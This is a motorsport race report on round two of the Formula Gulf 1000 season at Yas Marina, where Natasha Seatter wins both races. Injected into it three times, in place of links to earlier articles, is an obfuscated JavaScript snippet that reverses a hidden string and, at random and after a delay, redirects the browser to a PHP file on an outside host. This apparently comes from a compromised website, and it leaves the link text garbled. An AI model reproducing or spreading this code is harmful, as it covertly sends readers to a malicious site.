Those of us present for round two of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/formula-gulf-1000-20122013-driver-line-up-announced/” target=”_blank”>2012/2013 Formula Gulf 1000 season left Yas Marina with at least one of three thoughts: series debutant Nicholas Canal is fast establishing himself as the man to beat in qualifying; home field advantage does wonders for Saeed Bintouq’s racecraft; and if anybody is going to catch Natasha Seatter at the top of the leader board, they may want to get a wiggle on.
Two well-earnt victories $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/formula-gulf-1000-round-1-in-the-hot-seatter/” target=”_blank”>last time out at the Dubai Autodrome simply underlined Seatter as championship favourite, and many expected nothing less at the series’ second round at the Yas Marina Circuit in Abu Dhabi.
What was surprising though was that in qualifying – in conditions described by a number of the drivers and team personnel as ‘near perfect’ – the Malaysian could only manage fourth behind Canal, Rahul Mayer and Haytham Sultan Al Ali. Clearly the series points leader had a lot of work to do.
A superb start from the second row in race one clearly showed her annoyance. Nearly three wide into turn one (with Canal and Mayer on her right hand side), Seatter came close to squeezing into the lead but Canal had done enough to secure his first position. Behind, Mayer slotted into third.
As the laps ticked by on the North Corkscrew layout, the gap between the two leaders remained steady. Circulating closely, Seatter was almost within range of a late lunge under braking. But despite the added pressure of folding his 6ft 2in frame into the Ralph Firman-designed single seater, Canal was withstanding the pressure well, the Spaniard opening a tenth or dropping a tenth here and there but rarely letting the deficit drop below half a second.
Within sight of the flag though, Seatter got the hammer down, and really started to tear into Canal’s lead. Once, twice and three times the #3 car was right on the gearbox of the leading #5 entry, but still $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/formula-gulf-1000-pre-season-testing/” target=”_blank”>FGulf 1000 was looking good for its first debut winner of the season.
The hard charge soon came to nought for Canal though, a late dive by Seatter securing her first place and dropping the rookie into second, unable to do anything but shadow her to the flag. It had been a mature drive, and it surely won’t be long before Canal stands atop the podium.
It would not be race two though, Seatter once again steamrolling the event in fine style to take her second victory of the day with nearly 5s in hand. Canal, with a badly worn right front tyre, had to give best and settle for third.
